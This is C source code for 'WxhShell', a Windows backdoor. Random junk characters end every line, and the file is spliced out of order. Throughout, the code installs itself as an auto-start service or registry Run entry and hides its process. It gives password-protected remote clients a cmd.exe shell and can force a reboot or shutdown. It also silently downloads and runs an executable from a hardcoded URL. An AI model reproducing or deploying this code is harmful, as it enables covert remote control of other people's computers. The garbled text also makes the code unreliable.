  // 关机 J2uZmEt  
  case 'd': { N0#JOu}~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [+qCs7'  
    if(Boot(SHUTDOWN)) v[Kxja;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g{5A4|_7  
    else { >X*Mio8P#  
    closesocket(wsh); sz9L8f2  
    ExitThread(0); CI3XzH\IX*  
    } `/Y{ l  
    break; yf&7P;A  
    } <&)v~-&O  
  // 获取shell ?%H):r  
  case 's': { Y@PI {;!  
    CmdShell(wsh); /x3/Ubmz~x  
    closesocket(wsh); {Zp\^/  
    ExitThread(0); hYawU@R  
    break; L(X6-M:  
  } KK@.~'d  
  // 退出 N!*_La=TuH  
  case 'x': { `^lYw:xA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b!M"VDjQ  
    CloseIt(wsh); Nj(" |`9"  
    break; >E*$ E  
    } ,o]4?-  
  // 离开 `a9L%z  
  case 'q': { ZE%YXG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =]k {"?j  
    closesocket(wsh); 7RZh<A>m  
    WSACleanup(); 0OGCilOb*  
    exit(1); ~a xjjv  
    break; z0/} !  
        } ^e+a  
  } fxgr`nC  
  } mFHH515  
`5H$IP1XhA  
  // 提示信息 `"%T=w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *OQG 4aWy  
} 4lZ$;:Jg  
  } q%ow/!\;  
$0arz{Oh  
  return; +f[ED4E>'(  
} I$8" N]/C  
NH3cq  
// shell模块句柄 jM\*A#Jo5  
int CmdShell(SOCKET sock) vVL@K,q  
{ `9 {mr<  
STARTUPINFO si; [e1S^pI  
ZeroMemory(&si,sizeof(si)); s|D>-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W\18{mbuy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3"rzb]=R  
PROCESS_INFORMATION ProcessInfo; 1h.)#g?{  
char cmdline[]="cmd"; }.z&P'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  [~&XL0  
  return 0; fHZTXvxoL  
} n`4K4y%Dy}  
c sfgJ^n  
// 自身启动模式 &d'Awvy0  
int StartFromService(void) NH0qVQ@A  
{ Y6&wJ<   
typedef struct +*_5tWAc  
{ `SVmQSwO[  
  DWORD ExitStatus; `)QCn<  
  DWORD PebBaseAddress; z)uuxNv[R  
  DWORD AffinityMask; 5Vi> %5A>l  
  DWORD BasePriority; Y[ N^p#t{  
  ULONG UniqueProcessId; lSH6>0#B  
  ULONG InheritedFromUniqueProcessId; \%p34K\  
}   PROCESS_BASIC_INFORMATION; yS=oUE$  
6)BR+U  
PROCNTQSIP NtQueryInformationProcess; _sbp6ZO_  
u<n Lag  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,~?YBLw@c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wfjnA~1h  
fK(}Ce  
  HANDLE             hProcess; E_zIg+(+  
  PROCESS_BASIC_INFORMATION pbi; 5^j45'%I  
xzx$TUL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hI(SOsKs  
  if(NULL == hInst ) return 0; kCXdGhb  
Y F*OU"2U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^gFqRbuS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); is/scv<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *OyHHq|>q  
T\r@5Xv  
  if (!NtQueryInformationProcess) return 0; ~/_SMPLo  
pa{re,O"e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KWWa&[ev)  
  if(!hProcess) return 0; ox ;  
3 zn W=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ve 4u +0  
)Jv[xY~  
  CloseHandle(hProcess); kkK kf'  
t>H`X~SR?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K).n.:vYZ  
if(hProcess==NULL) return 0; )IJQeC  
*FJZi Py  
HMODULE hMod; YX*Qd$chZ  
char procName[255]; OaL\w D^  
unsigned long cbNeeded; 7h)iu9j  
J "FC%\|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :g.46dp4  
Sua[O$  
  CloseHandle(hProcess); ^OErq&`u  
"HXYNS>  
if(strstr(procName,"services")) return 1; // 以服务启动 }=!,o  
)7:J[0ZiQ  
  return 0; // 注册表启动 ?@n/v F  
} 6_4D9 W  
K x~|jq  
// 主模块 A7c/N=Cp^  
int StartWxhshell(LPSTR lpCmdLine) pNRk.m]  
{ "gD-8C3  
  SOCKET wsl; %r+vSGt;5  
BOOL val=TRUE; F9*g=  
  int port=0; p7H3J?`w1+  
  struct sockaddr_in door; 5cWw7V<m  
=v*.p=r  
  if(wscfg.ws_autoins) Install(); PH{_ ,X  
[ib P%xb  
port=atoi(lpCmdLine); %N#%|2B  
$Q*<96M  
if(port<=0) port=wscfg.ws_port; />j';6vi  
eW>3XD4  
  WSADATA data; =!Q7}z1QI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AO UL^$&  
f}D1|\7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F"N60>>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N&[D>G]>v  
  door.sin_family = AF_INET; |_ G )qp;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RV&^g*;E  
  door.sin_port = htons(port); cr;g5C V  
{$ep7;'d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `f'K@  
closesocket(wsl); K|oacOF9  
return 1; @2*]"/)*0  
} iH.$f /)N  
Y-0?a?q2Fr  
  if(listen(wsl,2) == INVALID_SOCKET) { g&n)fF  
closesocket(wsl); t&9A ]<n%,  
return 1; \RVW  
} nbG/c80  
  Wxhshell(wsl); x}twsc`  
  WSACleanup(); [V 8{b{  
t5[[JD1V  
return 0; _{|D  
`CeJWL5{  
} q{ /3V  
[p=*u,-  
// 以NT服务方式启动 )Af~B'OUd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S(mF%WJ  
{ {hJXj,  
DWORD   status = 0; BYKoel  
  DWORD   specificError = 0xfffffff; zB? V_aT  
0cT*z(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7$rjlVe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |X`/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +78CvjG  
  serviceStatus.dwWin32ExitCode     = 0; !pJeA)W;  
  serviceStatus.dwServiceSpecificExitCode = 0; * 9p |HX=  
  serviceStatus.dwCheckPoint       = 0; VACiVKk  
  serviceStatus.dwWaitHint       = 0; +1~Z#^{&  
K\)Td+~jc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kg`.[{k  
  if (hServiceStatusHandle==0) return; DD44"w_9  
s[gKc'  
status = GetLastError(); XW?b\!@ $  
  if (status!=NO_ERROR) (Y^X0yA/  
{ O+RP3ox"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RaTH\ >n  
    serviceStatus.dwCheckPoint       = 0; <9sO  
    serviceStatus.dwWaitHint       = 0; %_UN<a  
    serviceStatus.dwWin32ExitCode     = status; ,|88r=}  
    serviceStatus.dwServiceSpecificExitCode = specificError; $'pNp B#vH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Va$Pi19 O  
    return; -8N|xQ378  
  } hd 0 'u  
<A9y9|>o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jdy=_88MD  
  serviceStatus.dwCheckPoint       = 0; %okzOKKX  
  serviceStatus.dwWaitHint       = 0; X{kpSA~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v2,%K`pAU  
} `nO71mo  
z_ =Bt  
// 处理NT服务事件,比如:启动、停止  KQ[!o!%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =H<0o?8?c  
{ JCY~W=;v  
switch(fdwControl)  8L*GE  
{ ?`[NFqv_]  
case SERVICE_CONTROL_STOP: ~}ET?Q7t  
  serviceStatus.dwWin32ExitCode = 0; LJVG~Yeo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A^2L~g[^Q  
  serviceStatus.dwCheckPoint   = 0; L^^4=ao0  
  serviceStatus.dwWaitHint     = 0; Kq.:G%  
  { gKg-O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [j4v]PE  
  } Eq:2k)BE  
  return; oQ=>'w  
case SERVICE_CONTROL_PAUSE: 3 DaQo0N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4Z*U}w)  
  break; OUP?p@%]<  
case SERVICE_CONTROL_CONTINUE: gGMWr.! 8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; na^sBq?\  
  break; MuBx#M/  
case SERVICE_CONTROL_INTERROGATE: ouHu8)q'r  
  break; _73h<|0  
}; `c+/q2M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); { BEo &  
} iBudmT8  
gN {'UDg  
// 标准应用程序主函数 7DlOW1|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7FO'{Qq  
{ ?r_l8  
bw&myzs  
// 获取操作系统版本 =e?$M  
OsIsNt=GetOsVer(); YwcPX`eg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9%sM*[A  
DF{OnF  
  // 从命令行安装 0Aa`p3.)  
  if(strpbrk(lpCmdLine,"iI")) Install(); YK{a  
H.G!A6bd  
  // 下载执行文件 KLC{7"6e)  
if(wscfg.ws_downexe) { TzBzEiANn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2l5KJlfj>k  
  WinExec(wscfg.ws_filenam,SW_HIDE); c<#<k}y  
} \M]-bw`  
&6Il(3-^  
if(!OsIsNt) { ~Ki`Ze"x  
// 如果时win9x,隐藏进程并且设置为注册表启动 H6aM&r9}  
HideProc(); ):EBgg4-N  
StartWxhshell(lpCmdLine); ESb ]}c:  
} O3V.^_k;  
else /XS&d%y  
  if(StartFromService()) r.0oxH']  
  // 以服务方式启动 R.s|j=  
  StartServiceCtrlDispatcher(DispatchTable); `P@- %T  
else ]IJv-(  
  // 普通方式启动 mDFlz1J,e  
  StartWxhshell(lpCmdLine); Ri>?KrQF%  
@U -$dw'4  
return 0; +rWZ|&r%  
} G%# 05jH  
TOLl@p]lU  
a <X0e>  
u&QKwD Uh  
=========================================== ngi<v6i  
e~v(eK_  
l0tYG[  
z (c9,3  
;1DdjETr  
#~qAHJ<  
" f+vVR1  
3]JZu9#  
#include <stdio.h> zGc(Ef5`M6  
#include <string.h> Kud'pZ{P  
#include <windows.h> p2x [p  
#include <winsock2.h> o/^;@5\  
#include <winsvc.h> TJ6#P<M  
#include <urlmon.h> 59Sw+iZj  
NHX>2-b  
#pragma comment (lib, "Ws2_32.lib") wHsB,2H  
#pragma comment (lib, "urlmon.lib") u~Tg&0V30  
9h(IUD{8  
#define MAX_USER   100 // 最大客户端连接数 #f'DEo<b  
#define BUF_SOCK   200 // sock buffer Y@F  
#define KEY_BUFF   255 // 输入 buffer b~7drf  
h7qBp300  
#define REBOOT     0   // 重启 MEwdw3  
#define SHUTDOWN   1   // 关机 |)_-Bi;MW`  
AH{^spD{7,  
#define DEF_PORT   5000 // 监听端口 f3WSa&eF  
4}KU>9YRA  
#define REG_LEN     16   // 注册表键长度 n"aCt%v  
#define SVC_LEN     80   // NT服务名长度 yZ}d+7T}  
+~2rW8  
// 从dll定义API ,yLw$-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iz}sM>^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Qu{c B^Ga*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +_HdX w#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G5]1s  
9 -jO,l  
// wxhshell配置信息 k3@HI|  
struct WSCFG { VGH/X.NJ  
  int ws_port;         // 监听端口 <rK=9"$y(t  
  char ws_passstr[REG_LEN]; // 口令 fAj2LAK  
  int ws_autoins;       // 安装标记, 1=yes 0=no >HkhAJhW  
  char ws_regname[REG_LEN]; // 注册表键名 HW7FP]NH  
  char ws_svcname[REG_LEN]; // 服务名 :Eh'(   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F'J [y"~_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #w3ru6*W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VTe.M[:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ipKG!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \k&1*b?h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |#5 e|z5(  
c 8'Cq7  
}; 2DMrMmLI  
WBppKj_M  
// default Wxhshell configuration  5) lW  
struct WSCFG wscfg={DEF_PORT, RSWcaATZN  
    "xuhuanlingzhe", fB#XhO  
    1, !jh%}JJ  
    "Wxhshell", u39FN?<^  
    "Wxhshell", "zV']A>4H  
            "WxhShell Service", ?9U:g(v  
    "Wrsky Windows CmdShell Service", @Y' I,e  
    "Please Input Your Password: ", /B HepD}  
  1, Di??Q_$ak  
  "http://www.wrsky.com/wxhshell.exe", f?0s &Xo  
  "Wxhshell.exe" k7bl'zic  
    }; _C+DBA  
`B#Z;R  
// 消息定义模块 -2NwF4VL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h$h]%y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ge}$rLu]0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ob&W_D^=N  
char *msg_ws_ext="\n\rExit."; Q(\ wx  
char *msg_ws_end="\n\rQuit."; $@87?Ab  
char *msg_ws_boot="\n\rReboot..."; 0U&d q#  
char *msg_ws_poff="\n\rShutdown..."; F ! )-|n}  
char *msg_ws_down="\n\rSave to "; <lld*IH  
=l|>.\-  
char *msg_ws_err="\n\rErr!"; <NQyP{p  
char *msg_ws_ok="\n\rOK!"; {$TZ}z"DA  
E#h~V5Tf  
char ExeFile[MAX_PATH]; <%,'$^'DS  
int nUser = 0; X!0kK8v  
HANDLE handles[MAX_USER]; VJ1*|r,  
int OsIsNt; q`loOm=y  
:Ee?K  
SERVICE_STATUS       serviceStatus; Q#rt<S1zW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IrO +5w  
M]ap:  
// 函数声明 u:4["ViC  
int Install(void); tyXl}$)y  
int Uninstall(void); dF2@q@\.+  
int DownloadFile(char *sURL, SOCKET wsh); t.z$j  
int Boot(int flag); T7GQ^WnA  
void HideProc(void); :,C%01bH|l  
int GetOsVer(void); utd:&q|}  
int Wxhshell(SOCKET wsl); +L6" vkz  
void TalkWithClient(void *cs); rdI]\UH  
int CmdShell(SOCKET sock); )<LI%dQ:'l  
int StartFromService(void); +2O=s<fp  
int StartWxhshell(LPSTR lpCmdLine); MuSaK %  
#uWE2*')  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u`p_.n:5)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1jOKcm'#  
Qk7J[4  
// 数据结构和表定义 v!!;js^  
SERVICE_TABLE_ENTRY DispatchTable[] = {"4<To]z  
{ P7>IZ >bw  
{wscfg.ws_svcname, NTServiceMain}, |LFUzq>j  
{NULL, NULL} rU*q@y Px  
}; 9UmBm#"  
Y2vj}9jK  
// 自我安装 e-!?[Ujv*%  
int Install(void) }*-u$=2  
{ 5vGioO  
  char svExeFile[MAX_PATH]; Riq|w+Q  
  HKEY key; xK!DtRzsA  
  strcpy(svExeFile,ExeFile); C "9"{  
104!!m  
// 如果是win9x系统,修改注册表设为自启动 : ~'Z(-a  
if(!OsIsNt) { S2}Z&X(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZV#$Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4@~a<P#  
  RegCloseKey(key); afy/K'~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n'3u] ~7^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }MjQP R  
  RegCloseKey(key); O"QHb|j  
  return 0; SauHFl8?  
    } zkG>u,B}  
  } ,]U[W  
} GRQ_+K  
else { n>T:2PQ3  
|Pf(J;'[  
// 如果是NT以上系统,安装为系统服务 D@5s8xv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M4H"].Zm  
if (schSCManager!=0) i?W]*V~ply  
{ .S6ji~;r  
  SC_HANDLE schService = CreateService ~%KM3Vap  
  ( 9RB`$5F ;  
  schSCManager, '2wCP EC  
  wscfg.ws_svcname, -4%]QS  
  wscfg.ws_svcdisp, )DRkS,I  
  SERVICE_ALL_ACCESS, 4n4j=x]@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \AHY[WKx  
  SERVICE_AUTO_START, ,M{Q}:$+4  
  SERVICE_ERROR_NORMAL, Rj&qh`  
  svExeFile, 'oCm.~;_  
  NULL, 2b!j.T#u  
  NULL, Y^X:vI  
  NULL, Np)ho8zU  
  NULL, RCCv>o  
  NULL qTS @D  
  ); &! OGIYC(  
  if (schService!=0) qlEFJ5;  
  { E{I) ]h  
  CloseServiceHandle(schService); y,^";7U  
  CloseServiceHandle(schSCManager); 1h{>[ 'L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \"J?@  
  strcat(svExeFile,wscfg.ws_svcname); (`F|nG=X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uX98iJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EM=xd~H  
  RegCloseKey(key); UIz:=DJ  
  return 0; '6+Edu~Ho)  
    } p}&Md-$1  
  } y]<#%Fh  
  CloseServiceHandle(schSCManager); /'mrDb_ip  
} =9fEv,Jk  
} CQ$::;  
6SV7\,2M  
return 1; k*OvcYL1A  
} %`eJ66T  
F G3Sk!O6  
// 自我卸载 ,zD_% ox  
int Uninstall(void) * *.:)  
{ h)^dB,~  
  HKEY key; RA} U#D:$i  
au,jAk  
if(!OsIsNt) { 8H7O/n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k)|'JDm  
  RegDeleteValue(key,wscfg.ws_regname); ZWFG?8lJ  
  RegCloseKey(key); #n=A)#'my  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [f=.!\0\  
  RegDeleteValue(key,wscfg.ws_regname); MSK'2+1T@g  
  RegCloseKey(key); })KJ60B  
  return 0; nW~$ (Qnd  
  } di--:h/  
} ,TEuM|  
} @W#fui<<}Y  
else { fEB195#@9  
z;[gEA+I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L 43`^;u  
if (schSCManager!=0) !O 4<I_EY{  
{ >dyhox2*"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eN2dy-0  
  if (schService!=0) G l_\Vy  
  { A*a7\id!y  
  if(DeleteService(schService)!=0) { Z(KmS (  
  CloseServiceHandle(schService); q Frt^+@  
  CloseServiceHandle(schSCManager);  oHOW5  
  return 0; Q!YF!WoBX  
  } IF5sqv  
  CloseServiceHandle(schService); '/ihL ^^@L  
  } I/Sv"X6E  
  CloseServiceHandle(schSCManager); 75kKDR}6  
} xrfPZBLy  
} h4tC. i~k  
w2 /* `YO  
return 1; g})6V  
} U@#?T  
u1tq2"D8  
// 从指定url下载文件 P@2tR5<R  
int DownloadFile(char *sURL, SOCKET wsh) ,.[.SU#V  
{ P`p6J8}4  
  HRESULT hr; vc )9Re$  
char seps[]= "/"; {,i=>%X*  
char *token; `b#/[3  
char *file; sS-W~u|C  
char myURL[MAX_PATH]; /%62X{=>;  
char myFILE[MAX_PATH]; a#^_"GX  
*e%Dg{_  
strcpy(myURL,sURL); kNRyOUy  
  token=strtok(myURL,seps); 'G<}U343=8  
  while(token!=NULL) >~h>#{&  
  { L^3~gM"!  
    file=token; 5.O-(eSa0&  
  token=strtok(NULL,seps); l8er$8S}  
  } 8oa)qaG1  
e)*mC oR  
GetCurrentDirectory(MAX_PATH,myFILE); tB GkRd!  
strcat(myFILE, "\\"); wTHK=n\i  
strcat(myFILE, file); s`;0 t YG  
  send(wsh,myFILE,strlen(myFILE),0); Lwp-2`%  
send(wsh,"...",3,0); a ZI>x^X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #!w:_T%  
  if(hr==S_OK) {An8/"bv}  
return 0; lr`?yn1D(  
else r4 9UJE  
return 1; 'uPxEu4 >4  
Sc%aJ1  
} /z/hUa  
*Hx j_  
// 系统电源模块 L& I` #  
int Boot(int flag) 4\&H?:c.  
{ ? UxG/]",  
  HANDLE hToken; BO8%:/37[4  
  TOKEN_PRIVILEGES tkp; 3?.6K0L  
^Yf3"D?&  
  if(OsIsNt) { w/qQ(]n8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uG2Xkj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ARmu{cL  
    tkp.PrivilegeCount = 1; hm*Th  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2~#ZO?jE6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]&&I|K_  
if(flag==REBOOT) { 8o!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )WaX2uDA?  
  return 0; : [A?A4l  
} p^p'/$<6_  
else { 2dv|6p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mw:3q6  
  return 0; X=fPGyhZ  
} bs:C1j\&  
  } 3Qqnw{*  
  else { -X`~;=m>U  
if(flag==REBOOT) { gcX5Q^`a=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TvQWdX=  
  return 0; p3V9ikyy  
} :jZ*,d%1={  
else { X4Pm)N `  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C*"Rd   
  return 0; c80 }1  
} ~+nS)4 (  
}  <'g0il  
V->.|[J  
return 1; o%vIkXw  
} N5:D8oWWXR  
nvU+XCx  
// win9x进程隐藏模块 Q'FX:[@x-S  
void HideProc(void) DH}s1mNMP  
{ uU8*$+ "  
PFImqojHd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h-z%C6  
  if ( hKernel != NULL ) +}Qv6s#  
  { E`oSi ez)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gg lNpzj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~J8cS  
    FreeLibrary(hKernel); j zxf"X-  
  } 5"76R Gw=  
?3]h~( =  
return; NUi{!<  
} pKO T  Qf  
H j>L>6>  
// 获取操作系统版本 d_4n0Kh0  
int GetOsVer(void) ;n yB  
{ R*JOiVAC  
  OSVERSIONINFO winfo; S#dyRTmI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); , I[^3Fn  
  GetVersionEx(&winfo); 27h/6i3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OlD7-c2L]  
  return 1; Ktg&G<%J0  
  else 1G e)p4  
  return 0; sRkz WMl  
} o'x_g^ Y  
nr 'YWW  
// 客户端句柄模块 |YG)NO  
int Wxhshell(SOCKET wsl) rXHHD#\oF  
{ X+(aQ >y  
  SOCKET wsh; S&4w`hdD>~  
  struct sockaddr_in client; GQYtH#  
  DWORD myID; htdn$kqG   
~NNaLl  
  while(nUser<MAX_USER) ZaEBdBv  
{ 9m<X-B&P  
  int nSize=sizeof(client); B`RW-14g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t[H_6)  
  if(wsh==INVALID_SOCKET) return 1; |Fh`.iT%c  
(P]^8qc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z1}tC\9'%  
if(handles[nUser]==0) fzGZ:L  
  closesocket(wsh); !5g)3St  
else 4wM$5  
  nUser++; sT;=7 L<TA  
  } D{&+7C:8.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L!G9O]WB  
^>P@5gcoE(  
  return 0; _umO)]Si  
} 2vk8+LA(6  
 d'**wh,  
// 关闭 socket h0y\,iWXb  
void CloseIt(SOCKET wsh) S`'uUvAA  
{ Ggxrj'r  
closesocket(wsh); %8z+R m,Ot  
nUser--; 37ri b  
ExitThread(0); 8V53+]c$Y  
} skmDsZzw  
@; j0c_^"!  
// 客户端请求句柄 zm_hLk  
void TalkWithClient(void *cs) g,z&{pZch  
{ gZ79u  
~gzpX,{ n  
  SOCKET wsh=(SOCKET)cs; hj#+8=  
  char pwd[SVC_LEN]; H)?" 8 s  
  char cmd[KEY_BUFF]; ]0/~6f  
char chr[1]; +Qb2LR  
int i,j; Qh1Kl_a?Lv  
$fU/9jTa  
  while (nUser < MAX_USER) { a*$1la'Uf  
duiKFNYN  
if(wscfg.ws_passstr) { c,[qjr#\>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?tal/uC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `rOe5Zp$  
  //ZeroMemory(pwd,KEY_BUFF); ;M(ehX  
      i=0; 6|(7G64{  
  while(i<SVC_LEN) { _UbR8  
 onS{  
  // 设置超时 `5~o=g  
  fd_set FdRead; 8Vg`;_-  
  struct timeval TimeOut; OU Yb-  
  FD_ZERO(&FdRead); ggYIq*4  
  FD_SET(wsh,&FdRead); `P)64So-1  
  TimeOut.tv_sec=8; < 8W:ij.`  
  TimeOut.tv_usec=0; A%sxMA!K,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U:5*i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :ayO+fr#  
H 29 _ /  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?M1 QJ  
  pwd=chr[0]; 4HYH\ey  
  if(chr[0]==0xd || chr[0]==0xa) { =tvm=  
  pwd=0; A`r$fCt1Vi  
  break; E%v[7 ST  
  } sO f)/19  
  i++; A$Jn3Xd~!  
    } J4R  
5SPl#*W  
  // 如果是非法用户,关闭 socket 0ju wDd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }M"'K2_Z  
} 0"D?.E"$r  
#ui%=ja[:~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >5z`SZf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g275{2G9  
K+aJ`V  
while(1) { Q*{H]  
a1Y_0  
  ZeroMemory(cmd,KEY_BUFF); @+Anv~B.  
W3{5Do.h  
      // 自动支持客户端 telnet标准   oR%E_g?mI~  
  j=0; )F9%^a(  
  while(j<KEY_BUFF) { mrB hvp""  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [4 (A458H  
  cmd[j]=chr[0]; _ER cmP  
  if(chr[0]==0xa || chr[0]==0xd) { 0aq-drl5\  
  cmd[j]=0; `S!uj <-  
  break;  OG<]`!"  
  } ysP/@;jC  
  j++; }X.8.S'  
    }  3kzGL  
l#(g&x6J  
  // 下载文件 ~'YSVx& )  
  if(strstr(cmd,"http://")) { I7-PF?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w `9GygS  
  if(DownloadFile(cmd,wsh)) t6U+a\-<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 98%a)s)(a  
  else XajY'+DIsz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jv$2wH  
  } w})&[d  
  else { XS~w_J#q  
9$w)_RX9W  
    switch(cmd[0]) { '1T v1  
  |Z)/  
